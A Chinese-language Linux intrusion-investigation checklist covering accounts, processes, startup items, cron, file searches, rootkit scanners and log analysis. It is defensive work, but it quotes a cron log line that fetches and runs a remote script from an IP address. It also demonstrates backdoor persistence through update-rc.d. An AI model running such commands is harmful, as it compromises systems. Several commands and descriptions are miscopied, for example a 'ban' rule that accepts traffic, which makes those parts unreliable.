0x01 Linux 树形系统结构:
/bin
binary的简写
存放着linux基础的可执行文件,例如ls、cd .......
该目录区别于/usr/bin,它可在没有安装其他文件系统单独运行比如(单用户)
/usr/bin
本地登陆用户可访问应用程序/可执行二进制文件
一般恶意软件更容易感染该目录下文件,例如ssh、top、crontab.......
/sbin
binary的简写
存放着linux基础的可执行文件,例如ls、cd .......
该目录区别于/usr/bin,它可在没有安装其他文件系统单独运行比如(单用户)
/usr/sbin
在系统启动期间本地登陆的管理用户有关系统管理的可执行二进制文件
该目录一般不容易出问题,除非是git.kernel.org被搞了,里边命令例如
fastboot、fdisk、grub.......
/usr
unix software resource的简写
登陆用户对linux操作的实际目录,包含了linux的应用程序/可执行程序、64/32 位的依赖库、登陆用户的配置文件、登陆用户的底层管理程序、头文件
/var
可以理解为linux的缓存目录,大多数情况会以只读挂载到/usr下用于系统的缓
存数据和应用程序的缓存,例如应用程序缓存、标准库、某个程序运行导致的
文件设备的锁定(apt、yum)、日志文件、pid信息
/lib、/lib32、/lib64、libex32、/libexec
/lib主要包含内核模块、引导系统以及linux运行所需要的基本共享库
/lib在不同(32/64)环境下会调用不同的基本共享库
/libx32 是面向x32 ABI(x32 Application Binary Interface)的目标文件和库
/libexec不由用户和shell执行的二进制文件,一些lfs用于产品会有libexec作为部 署程序
一些二进制可执行程序劫持,会将so文件释放到/lib下
/dev
device的简写
存放着一些特殊的文件和设备文件位置
/dev/null 是类Unix系统中的一个特殊文件设备,他的作用是接受一切输入它的
数据并丢弃这些数据。
/mnt
mount的简写,挂接光驱、USB设备的目录看文件已
经被删除,但是进程还在跑的情况
mount /dev/nvme0n1pxx /mnt/xxxx // 挂载
umount /mnt/xxxx //卸载
/proc
linux伪文件系统,存储了系统正在运行的所有信息,例如高级电源管理、引导参数、
所有设备使情况......
通常我们会用ls –alth /proc/*/exe,查看某恶意进程对应的二进制文件或查看文件已
经被删除,但是进程还在跑的情况
/sys
linux伪文件系统,为linux提供内核、驱动、设备信息,包括但不限于各种总线,有点
类似于window硬件管理
/root、/home
root用户目录、普通用户目录
都存放着用户shell相关的配置文件,例如.bashrc、.bash_history、.ssh、.config、
profile
可能会存在恶意alias(bashrc)、攻击留下来的历史命令信息(.bash_history)、用来维
持权限的免密登陆(.ssh/authorized_keys)、一些软件的配置信息(.config)
/boot
主要存放linux内核文件以及引导加载程序,出现问题的比较少,利用难度比较高
/run
该目录是临时文件系统, 存储是启动之后的所有信息
/srv
区别于/var目录,主要存储用户主动产生的数据和对外的服务
/tmp
临时文件目录,用户存放用户产生的临时文件,可以随时销毁,或者系统可以自动销 毁,权限比较低
由于权限比较低,所以恶意软件或者攻击行为会在此路径下生成或落地木马以及工具。
0x02 账号安全:
- 1、用户信息文件 /etc/passwd(主要查看uid为0的账户)
# 格式:account:password:UID:GID:GECOS:directory:shell
# 用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后的 shell
root:x:0:0:root:/root:/bin/bash
# 查看可登录用户:
cat /etc/passwd | grep /bin/bash
awk -F: '{if($7!="/usr/sbin/nologin")print $1}' /etc/passwd
# 查看UID=0的用户
awk -F: '$3==0{print $1}' /etc/passwd
awk -F: '{if($3==0||$4==0)print $1}' /etc/passwd
#查询可以远程登录的帐号信息
awk '/\$1|\$6/{print $1}' /etc/shadow
# 查看sudo权限的用户
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
useradd admin #创建一个用户,在home目录下不创建文件夹
passwd admin #修改之前创建的账号的密码
adduser admin2 #是一个比较完善的创建用户的命令,会在home目录下生成一个admin2的文件夹
#禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头
usermod -L user
#将删除user用户,并且将/home目录下的user目录一并删除
userdel -rf user #-r 完全删除一个账户 -f强制删除
#如果遇到账户删除显示已经删除,但创建同名的用户提示用户已存在的情况,尝试以下方法进行删除。
#手动删除passwd、shadow、group里面用户相关字段,以及用户相关的log和mail,并强制删除home目录下用户的文件夹。
/home
/etc/passwd
/etc/group
/var/spool/mail
注意:无密码只允许本机登陆,远程不允许登陆
- 2、影子文件:/etc/shadow
# 用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::
- 3、查看当前登录用户及登录时长
who # 查看当前登录系统的所有用户(tty 本地登陆 pts 远程登录)
w # 显示已经登录系统的所用用户,以及正在执行的指令
uptime # 查看登陆多久、多少用户,负载状态
- 4、排查用户登录信息
- 查看最近登录成功的用户及信息
# 显示logged in表示用户还在登录
# pts表示从SSH远程登录
# tty表示从控制台登录,就是在服务器旁边登录
# 会读取/var/log/wtmp,并把该给文件的内容记录的登入系统的用户名单全部显示出来。
last
- 查看最近登录失败的用户及信息:
# ssh表示从SSH远程登录
# tty表示从控制台登录
# 读取位于/var/log/btmp,并把该文件内容记录的登入失败的用户名单,全部显示出来
sudo lastb
- 显示所有用户最近一次登录信息:
# /var/log/lastlog,根据UID排序显示登录名、端口号(tty)和上次登录时间。
lastlog
- 当前登录的用户,每个用户名对应一个登录会话。如果一个用户不止一个登录会话,其用户名显示相同次数
users
在排查服务器的时候,黑客没有在线,可以使用last命令排查黑客什么时间登录的有的黑客登录时,会将/var/log/wtmp文件删除或者清空,这样我们就无法使用last命令获得有用的信息了。在黑客入侵之前,必须使用chattr +a对/var/log/wtmp文件进行锁定,避免被黑客删除
- 5、sudo用户列表:
/etc/sudoers
入侵排查:
# 查询特权用户特权用户(uid 为0):
awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息:
awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限:
more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
# 禁用或删除多余及可疑的帐号
usermod -L user # 禁用帐号,帐号无法登录,/etc/shadow 第二栏为 ! 开头
userdel user # 删除 user 用户
userdel -r user # 将删除 user 用户,并且将 /home 目录下的 user 目录一并删除
0x03 进程排查:
ps aux
ps -ef
pstree -aup
lsof -i:port
-i 筛选关键字,比如进程名、PID、USER、IPv4/IPv6、TCP/UDP
pstree -aphn
-a 显示该进程命令行参数
-p 显示pid
-h 高亮当前进程以及父进程
-n 按照pid排序
使用 ps 命令,分析进程,得到相应pid号:ps aux | grep 6666
查看 pid 所对应的进程文件路径:
# $PID 为对应的 pid 号
ls -l /proc/$PID/exe 或 file /proc/$PID/exe
pwdx pid # 获取启动恶意文件的路径
分析进程:
# 根据pid号查看进程
lsof -p 6071
# 通过服务名查看该进程打开的文件
lsof -c sshd
# 通过端口号查看进程:
lsof -i :22
获取进程的status信息(启动时间,完整链路):systemctl status pid
查看进程的启动时间点:ps -p 6071 -o lstart
根据pid强行停止进程:kill -9 6071
注意:
如果找不到任何可疑文件,文件可能被删除,这个可疑的进程已经保存到内存中,是个内存进程。这时需要查找PID 然后kill掉
若文件描述符还在,即使文件被删除还是可以用cp命令拿到原件:cp /proc/$pid/exe evil.exe
或者查看environ可以看到里面有该文件的路径:cat /proc/$pid/environ
使用strings命令查看恶意文件的字符串
当杀死的进程立刻重新启动,启动之后这个程序会删除本身,以达到隐藏自己的目的
若发现恶意进程杀死后立刻重启,通过编写无限循环脚本杀死恶意进程:
- 场景一:
通过父进程pid是1我们可以推测程序利用了 systemd重启恶意程序。
通过程序无限重启我们可以推测service的配置文件里面写了Restart=always这个重启策略。于是挨个去排查 /etc/systemd/里面注册的 Restart=always的配置文件(未必可靠)
或者通过排查自启动服务,查找是否存在该恶意文件,假如恶意文件为/usr/sbin/httpd:grep -E "/usr/sbin/httpd" -r /usr/lib/systemd/system --color=auto
查看所有服务状态:
service --status-all
service --status-all | grep + | awk -F ' ' '{print $2}' | xargs -I {} service {} status | grep -Po "/.*?(?=;)" | xargs ls -al -tr
# 禁用恶意服务
systemctl disable pmapx_start_2
systemctl stop pmapx_start_2
- 隐藏进程排查:
应对方式一:unhide proc
unhide是一个小巧的网络取证工具,能够发现隐藏的进程和TCP/UDP端口。该工具在Linux、UNIX、Windows等操作系统中都可使用。在CentOS中安装unhide时,首先需要安装epel源:yum-y installepel-release
,然后安装unhide:yum-y install unhide
项目地址:https://www.unhide-forensics.info/?Welcome
应对方式二:busybox ps
以busybox方式执行ps,可以不预加载库对于劫持lib场景有奇效。
应对方式三:
sudo sysdig -c topprocs_cpu # 查看cpu进程占用情况
sudo sysdig proc.name contains evil_script # 针对包含evil_script的进程监测
sudo sysdig -c topconns # 监测网络情况
防火墙相关:
#iptables
-t 接表名(raw'网址过滤',nat'地址转换',filter'包过滤',mangle'数据包修改')
-L 列出表里的规则
-n 显示IP
-v 显示进阶的信息展示
-A 将规则添加到最后,只有放到最后才能执行
-i 指定网卡接口
-j 执行操作(包括有且不限于ACCEPT、DROP、RRDIRECT)
systemctl start/stop/restart/status iptables 防火墙开启、关闭、重启、状态
iptables –L INPUT/OUTPUT -n 查看入站/出站规则
iptables -D INPUT 接规则号
iptables –A INPUT –s xx.xx.xx.xx/24 –p tcp –dport 22 –j ACCEPT 只允许某个网段连接22端口
iptables –A INPUT –s xx.xx.xx.xx/24 –p tcp –dport 22 –j ACCEPT ban掉某个网段对连接22端口
#firewalld
--state 防火墙状态
--reload 不中断服务重启加载
--compete-reload 中断所有连接重新加载
--runtime-to-premanent 永久保存添加的规则
--check-config 检查配置
--get-log-denied 查看拒绝日志
--set-loag-denied 接参数 设置拒绝日志监测等级(all/unicats/broardcast/multicast/off)
systemctl start/stop/restart/status firewalld 防火墙开启、关闭、重启、状态
firewalld-cmd –-state 查看防火墙状态
firewalld-cmd –-list-services 查看开放的服务
firewalld-cmdd –-add-ports=22/tcp 开启22端口
firewalld-cmdd –-remove-ports=22/tcp 关闭22端口
firewalld-cmd –-reload 更新防火墙规则
0x04 系统信息排查:
#du
-s 显示总计
-h 以合适单位输出统计结果
df
-u 显示当前文件系统空间使用情况
#lspci
-v 以初阶显示设备详细信息
-vv 以进阶显示设备详细信息
-s xx:xx –vv 仅显示总线和
插槽的设备信息,xx:xx数值可以通过lspci获得
#lsusb
-v 显示USB的详细信息
-s xx:xx –vv 仅显示总线和设备号的设备信息,xx:xx数 值可以通过lspci获得
-d xx:xx仅显示指定厂商和产品编号的设备
#systemctl 系统服务管理指令
systemctl status sshd 查看ssh服务状态
systemctl start sshd 启动ssh服务
systemctl stop sshd 关闭ssh服务
systemctl enable sshd 设置ssh开机自启动
systemctl disbale sshd 关闭ssh开机自启动
-
通过 .bash_history 文件查看帐号执行过的系统命令:
打开 /home 各帐号目录下的 .bash_history,查看普通帐号执行的历史命令。
为历史的命令增加登录的 IP 地址、执行命令时间等信息:
# 1、保存1万条命令:
sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile
# 2、在/etc/profile的文件尾部添加如下行数配置信息:
USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`
if [ "$USER_IP" = "" ]
then
USER_IP=`hostname`
fi
export HISTTIMEFORMAT="%F %T $USER_IP `whoami` "
shopt -s histappend
export PROMPT_COMMAND="history -a"
# 3、让配置生效
source /etc/profile
注意:历史操作命令的清除:history -c
该操作并不会清除保存在文件中的记录,因此需要手动删除 .bash_profile 文件中的记录
-
检查端口连接情况:
netstat -antlp | more
-a 显示所有连接和端口
-n 以数字形式显示ip和port
-t 显示tcp
-u 显示udp
-v 显示指令执行过程
-l 显示监听的服务
-s 显示网络工作信息统计表
-p 显示建立连接的进程名以及pid
ESTABLISHED 建立连接、LISTENING 侦听状态、TIME_WAIT 连接超时
ss –antpr
-a 显示所有连接和端口
-n 不解析服务的名称
-t 显示tcp sockets
-l 显示监听的端口
-p 显示监听端口的进程
-r 把ip解析为域名
tcpdump –i eht0 -w eee.pcap
-i 要抓取的网卡接口
-w 要保存的文件名
-C 100m 大于100M分割为另一个包
-c 10000 超过1万个停止抓包
src host xxx 仅仅捕获由该主机发起的流量
drc host xxx 仅仅捕获发往该ip地址的流量
src port xxx 仅仅捕获由该端口发起的流量
如发现异常的网络连接需要持续观察,可抓包分析:
tcpdump -c 10 -q //精简模式显示 10个包
-
检查开机启动项:
系统运行级别示意图:
运行级别 | 含义 |
---|---|
0 | 关机 |
1 | 单用户模式,可以想象为windows的安全模式,主要用于系统修复 |
2 | 不完全的命令行模式,不含NFS服务 |
3 | 完全的命令行模式,就是标准字符界面 |
4 | 系统保留 |
5 | 图形模式 |
6 | 重启动 |
查看运行级别命令:
runlevel
开机启动配置文件:
/etc/rc.local
/etc/rc.d/rc[0~6].d
启动Linux系统时,会运行一些脚本来配置环境——rc脚本。在内核初始化并加载了所有模块之后,内核将启动一个守护进程叫做init或init.d。这个守护进程开始运行/etc/init.d/rc中的一些脚本。这些脚本包括一些命令,用于启动运行Linux系统所需的服务
在上述每个目录下有对应的启动文件,为软链接文件,真实文件都存放在/etc/rc.d/init.d/目录中,文件名都是“字母S[K]+两位数字+程序名”的形式。字母S表示Start,也就是启动的意思,字母K表示Kill,也就是关闭的意思
开机执行脚本的两种方法:
- 在/etc/rc.local的exit 0语句之间添加启动脚本。脚本必须具有可执行权限
- 用update-rc.d命令添加开机执行脚本
1、编辑修改/etc/rc.local
2、update-rc.d:此命令用于安装或移除System-V风格的初始化脚本连接。脚本是存放在 /etc/init.d/目录下的,当然可以在此目录创建连接文件连接到存放在其他地方的脚本文件。
此命令可以指定脚本的执行序号,序号的取值范围是 0-99,序号越大,越迟执行。
当我们需要开机启动自己的脚本时,只需要将可执行脚本丢在 /etc/init.d 目录下,然后在 /etc/rc.d/rc.d 文件中建立软链接即可*
语法:
- update-rc.d 脚本名或服务
#1、在/etc/init.d目录下创建链接文件到后门脚本:
ln -s /home/b4yi/kali-6666.elf /etc/init.d/backdoor
#2、用 update-rc.d 命令将连接文件 backdoor 添加到启动脚本中去
sudo update-rc.d backdoor defaults 99
开机即执行脚本,成功反弹到msf:
入侵排查:
查看开机启动项内容:
ls -alt /etc/init.d/
# /etc/init.d 是 /etc/rc.d/init.d 的软连接
查看开机启动项文件:
more /etc/rc.local
ll /etc |grep rc
/etc/rc.d/rc[0~6].d
ls -l /etc/rc.d/rc3.d/
检查开机自启动列表:
systemctl list-unit-files|grep enabled
-
计划任务排查:
保存在/var/spool/cron/{user}
中,每个用户都可以使用crontab -e
命令编辑自己的定时任务列表。而/etc/crontab是系统级别的定时任务,只有root账户可以修改
需要注意的几处利用cron的路径:
crontab -l # 列出当前用户的计时器设置
crontab -e # 编辑计划任务
crontab -r # 删除当前用户的cron任务
crontab -u # 查看某用户计划任务
上面的命令实际上是列出了/var/spool/cron/crontabs/root 该文件的内容:
查看下cron具体的情况:service cron status
root@ubuntu:/home/ubuntu# service cron status
● cron.service - Regular background program processing daemon
Loaded: loaded (/lib/systemd/system/cron.service; enabled; vendor preset: enabled)
Active: active (running) since Sat 2020-04-18 22:16:06 CST; 2 months 22 days ago
Docs: man:cron(8)
Main PID: 1225 (cron)
CGroup: /system.slice/cron.service
├─ 1225 /usr/sbin/cron -f
├─ 2109 /usr/local/safe//agent -d
├─ 2122 barad_agent
├─ 2123 barad_agent
├─ 2124 barad_agent
├─25447 /var/tmp/kinsing
└─25478 /tmp/kdevtmpfsi
Jul 11 00:54:41 ubuntu CRON[17243]: pam_unix(cron:session): session closed for user root
Jul 11 00:54:41 ubuntu CRON[16998]: pam_unix(cron:session): session closed for user root
Jul 11 00:54:41 ubuntu CRON[17406]: pam_unix(cron:session): session closed for user root
Jul 11 00:54:41 ubuntu CRON[18192]: pam_unix(cron:session): session closed for user root
Jul 11 00:55:01 ubuntu CRON[19704]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 11 00:55:01 ubuntu CRON[19703]: pam_unix(cron:session): session opened for user root by (uid=0)
Jul 11 00:55:01 ubuntu CRON[19705]: (root) CMD (/usr/local/safe//start.sh > /dev/null 2>&1 &)
Jul 11 00:55:01 ubuntu CRON[19706]: (root) CMD (wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1)
Jul 11 00:55:01 ubuntu CRON[19704]: pam_unix(cron:session): session closed for user root
Jul 11 00:55:03 ubuntu CRON[19703]: pam_unix(cron:session): session closed for user root
可以看到cron 执行的命令记录,还有一些关闭进程的信息之类
/etc/crontab 只允许root用户修改
/var/spool/cron/ 存放着每个用户的crontab任务,每个任务以创建者的名字命名
/etc/cron.d/ 将文件写到该目录下,格式和/etc/crontab相同
把脚本放在/etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/、/etc/cron.monthly/目录中,让它每小时/天/星期/月执行一次
小技巧:
ls -al /var/spool/cron/ 查看隐藏的计划任务
more /etc/cron.daily/* 查看目录下所有文件
cat /var/log/cron* 查看crontab日志确定编辑 crontab 的时间
入侵排查:重点关注以下目录中是否存在恶意脚本:
/var/spool/cron/*
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/*
/etc/cron.hourly/*
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
入侵排查:
查询已安装的服务:
RPM 包安装的服务:
chkconfig --list 查看服务自启动状态,可以看到所有的RPM包安装的服务
ps aux | grep crond 查看当前服务
系统在3与5级别下的启动项
中文环境
chkconfig --list | grep "3:启用\|5:启用"
英文环境
chkconfig --list | grep "3:on\|5:on"
源码包安装的服务:
查看服务安装位置 ,一般是在/user/local/
service httpd start
搜索/etc/rc.d/init.d/ 查看是否存在
0x05 异常文件检查:
按照三种方式查找修改的文件:
- 按照名称
- 依据文件大小
- 按照时间查找
ls -alth
-a 显示所有文件
-l 显示文件权限,属组属主,大小,日期
-t 按照时间顺序排序
-h 高亮
grep file_content search_directory
-R 搜索字符串
-P 使用正则匹配
-n 包含字符串文件的行号
搜索运行代码文件:
通过文件描述符和文件类型确认正在运行的文件:
# 文件描述符
cwd – Current Working Directory
txt – Text file
mem – Memory mapped file
mmap – Memory mapped device
NUMBER – Represent the actual file descriptor. The character after the number i.e ‘1u’, represents the mode in which the file is opened. r for read, w for write, u for read and write.
rtd:root directory;
lnn:library references (AIX);
er:FD information error (see NAME column);
jld:jail directory (FreeBSD);
ltx:shared library text (code and data);
mxx :hex memory-mapped type number xx.
m86:DOS Merge mapped file;
mem:memory-mapped file;
mmap:memory-mapped device;
pd:parent directory;
tr:kernel trace file (OpenBSD);
v86 VP/ix mapped file;
# 文件类型:
REG – Regular File
DIR – Directory
FIFO – First In First Out
CHR – Character special file
BLK:块设备类型
UNIX:UNIX 域套接字
IPv4:网际协议 (IP) 套接字
lsof | grep txt | awk -F " " '{print $NF}' | xargs ls -al -tr
lsof | grep "mem" | grep "253,1" | grep REG | awk -F " " '{print $NF} # 检测so文件
linux文件不可修改权限:
chattr +I filename 给文件添加不可修改权限
chattr -I filename 将文件的不可修改权限去掉
chattr +a filename 给文件添加只追加权限
lsattr filename 查看文件是否设置了相关权限
-l参数:无论任何人想要删除改文件均需要将此权限去掉
-a参数:让目标只能追加,不能删除,而且不能通过编辑器追加
如果root用户都无法删除相关文件,那么很可能是因为文件被加上了i属性(设定文件不能被删除、改名、设定连接关系,同时不能写入或新增内容)。此时,需要使用lsatter filename
命令查看文件属性,然后使用chattr-i filename
命令移除i属性,进而删除文件
查看是否存在恶意的ssh公钥:
ls -alh /root/.ssh/
分析文件日期:
# access time:表示我们最后一次访问(仅仅是访问,没有改动)文件的时间
# modify time:表示我们最后一次修改文件的时间
# change time:表示我们最后一次对文件属性改变的时间,包括权限,大小,属性等等
# Birth time : 文件创建时间,crtime,不过据查此属性linux已废弃,目前状态显示结果均为-
stat xx.asp
- 发现最近三天新建的文件,并复制到bak目录下:
find / -ctime 3 -type f 2>/dev/null | xargs -i cp {} ~/bak
find / -type f -newermt '2022-6-8 00:00' ! -newermt '2022-06-9 23:16'
去掉/sys/fs、/run/udev、/sys/kernel之类开头的数据,再根据黑客的习惯,比如把程序放在tmp目录,来锁定一些文件
- 监控新文件,5分钟刷新一次
watch -n 300 -d ls -lR /var/www/html/
- 根据名称查找文件
find / -name a.Test
# 如果文件名记不全,可使用通配符*来补全
# 如果不区分大小写,可以将-name 替换为-iname
- 依据文件大小查找:
当发现木马后,可以根据文件大小搜索有没有其他木马文件
find / -size +1000M
# +1000M表示大于1000M的文件,-10M代表小于10M的文件
find ./ -size -221c -size +219c -exec ls -lh {} \;
- 依据时间查找:
# 查找最近一天以内修改的文件:
find / -mtime -1 -ls | more
# 查找50天前修改的文件:
find ./ -mtime +50 -ls
- -atime 最后一次访问时间, 如 less, more 等, 但 chmod, chown, ls, stat 等不会修改些时间(使用ext3文件系统的时候,如果在mount的时候使用了noatime参数那么就不会更新atime的 信息
- -mtime 文件内容修改时间,如 vi 保存后等, 修改时间发生改变的话, atime 和 ctime 也相应跟着发生改变.
- -ctime 最后一次状态修改时间,如 chmod, chown 等状态时间改变但修改时间不会改变, 使用 stat file 可以查看;(文件权限,所有者/组,文件大小等,当然文件内容发生改变,ctime也会随着改变)
- 要注意:系统进程/脚本访问文件,atime/mtime/ctime也会跟着修改,不一定是人为的修改才会被记录
- 敏感目录的文件分析:(类/tmp 目录,命令目录/usr/bin /usr/sbin 等)
按时间顺序查:ls –alt /tmp/ | head -n 10
- 查找隐藏文件:
ls -ar |grep "^\."
- 特殊权限文件查找:
find / *.jsp -perm 777
find / -perm 777 |more
find / *.sh -perm 777|grep .sh
- 根据属主和属组查找:
-user 根据属主查找
-group 根据属组查找
-nouser 查找没有属主的文件
-nogroup 查找没有属组的文件
# 查看属主是root的文件
find ./ -user root -type f
# -type f表示查找文件,-type d表示查找目录
# 注意:系统中没有属主或者没有属组的文件或目录,也容易造成安全隐患,建议删除。
- 按照CPU使用率从高到低排序:
ps -ef --sort -pcpu
- 按照内存使用率从高到低排序:
ps -ef --sort -pmem
补充:
1、查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“..”为名的文件夹具有隐藏属性
2、得到发现WEBSHELL、远控木马的创建时间,如何找出同一时间范围内创建的文件?
可以使用find命令来查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前访问过的文件
3、针对可疑文件可以使用 stat 进行创建修改时间
find / -ctime -2 # 查找72小时内新增的文件
find ./ -mtime 0 -name "*.jsp" # 查找24小时内被修改的 JSP 文件
find / *.jsp -perm 4777 # 查找777的权限的文件
ls -a /tmp # 查看临时目录
strings /usr/sbin/sshd | egrep '[1-9]{1,3}.[1-9]{1,3}.' # 分析 sshd 文件,是否包括IP信息
计划任务和启动项:
chkconfig # 查看开机启动服务命令
chkconfig --list | grep "3:启用\|3:开\|3:on\|5:启用\|5:开\|5:on"
ls /etc/init.d # 查看开机启动配置文件命令
cat /etc/rc.local # 查看 rc 启动文件
ls /etc/rc.d/rc[0~6].d
runlevel # 查看运行级别命令
crontab -l # 计划任务列表
ls -alh /var/spool/cron # 默认编写的 crontab 文件会保存在 /var/spool/cron/用户名 下
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
0x06 简单基线检查:
wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/1_x/unix-privesc-check && chmod +x unix-privesc-check &&./unix-privesc-check > output.txt
0x07 内核级后门检查:
rootkit是一种特殊的恶意软件,功能是在安装目标上隐藏自身及指定的文件、进程和网络连接等信息。rootkit一般会与木马、后门等其他恶意程序结合使用。
在对应目录使用:ls -alt /bin
,查看相关系统命令的修改时间,判断是否有更改
在指定目录使用:ls -alh /bin
,可查看相关文件大小,若明显偏大,则很可能被替换
Rootkit Hunter 项目下载地址:https://sourceforge.net/projects/rkhunter/files/
wget https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.6/rkhunter-1.4.6.tar.gz && tar -zxvf rkhunter-1.4.6.tar.gz && cd rkhunter-1.4.6 && chmod +x installer.sh && ./installer.sh --install && cd files && chmod +x rkhunter && ./rkhunter --propupd && ./rkhunter -c
rkhunter --check
运行完后会生成日志文件在/var/log/rkhunter.log
中
chkrootkit
wget ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar -zxvf chkrootkit.tar.gz
cd chkrootkit-0.55/
make sense
cd ..
cp -r chkrootkit-0.55/ /usr/local/chkrootkit
chkrootkit
0x08 系统日志检查:
日志默认存放位置:/var/log/
必看日志:secure、history
查看日志配置情况:more /etc/rsyslog.conf
日志文件 | 说明 |
---|---|
/var/log/cron | 记录了系统定时任务相关的日志 |
/var/log/cups | 记录打印信息的日志 |
/var/log/dmesg | 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息 |
/var/log/mailog | 记录邮件信息 |
/var/log/messages | 记录常见的系统和服务错误信息。这个日志文件中会记录Linux系统的绝大多数重要信息,也记录了某个用户切换到root权限的日志 |
/var/log/btmp | 记录错误登录日志,Linux登陆失败的用户、时间以及远程IP地址。这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看 |
/var/log/lastlog | 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看 |
/var/log/wtmp | 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看 |
/var/log/utmp | 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询 |
/var/log/secure | 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中 |
/var/log/boot.log | Linux系统开机自检过程显示的信息 |
Ubuntu 和 Debian 在
/var/log/auth.log 中存储认证信息,而 RedHat 和 CentOS 则在 /var/log/secure 中存储该信息。
/var/log/wtmp 登录进入,退出,数据交换、关机和重启纪录
/var/log/lastlog 文件记录用户最后登录的信息,可用 lastlog 命令来查看。
/var/log/secure 记录登入系统存取数据的文件,例如 pop3/ssh/telnet/ftp 等都会被记录。
/var/log/cron 与定时任务相关的日志信息
/var/log/message 系统启动后的信息和错误日志
/var/log/apache2/access.log apache access log
需要重点分析的日志有/var/run/utmp
、/var/log/lastlog
、/var/log/wtmp
、
/var/log/btmp
和/var/log/secure
及软件安装⽇志等
日志分析技巧:
1、定位有多少IP在爆破主机的root帐号:
# Debian 系的发行版
grep "Failed password for root" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
# Red Hat 系的发行版
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
定位有哪些IP在爆破:
grep -i "Failed password" /var/log/auth.log
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c
爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr
查看暴力猜用户名的人:
# Debian 系的发行版
sudo grep "Failed password for invalid user" /var/log/auth.log | awk '{print $13}' | sort | uniq -c | sort -nr | more
# Red Hat 系的发行版
sudo grep "Failed password for invalid user" /var/log/secure | awk '{print $13}' | sort | uniq -c | sort -nr | more
grep "Failed password" /var/log/secure | awk {'print $9'} | sort | uniq -c | sort -nr
grep -o "Failed password" /var/log/secure|uniq -c
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}
2、登录成功的IP有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
# Debian 系的发行版
grep "Accepted " /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
# Red Hat 系的发行版
grep "Accepted" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr
grep "Accepted " /var/log/secure* | awk '{print $1,$2,$3,$9,$11}'
登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
3、增加一个用户kali日志:
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
#grep "useradd" /var/log/secure
4、删除用户kali日志:
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'
# grep "userdel" /var/log/secure
5、su切换用户:
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)
sudo授权执行:
sudo -l
Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now
0x09 日志检查:
无论任何web服务器,都需要关注以下的日志:access_log、error_log、access.log、error.log
Apache日志:
应通过httpd.conf配置来判断。
在httpd.conf中搜索未被注释的、以指令字CustomLog为起始的行,该行即指定了日志的存储位置。
搜索可使用文本搜索,也可使用grep进行:grep -i CustomLog httpd.conf | grep -v ^#
搜索结束后会获得类似如下的搜索结果:
CustomLog /var/mylogs/access.log common
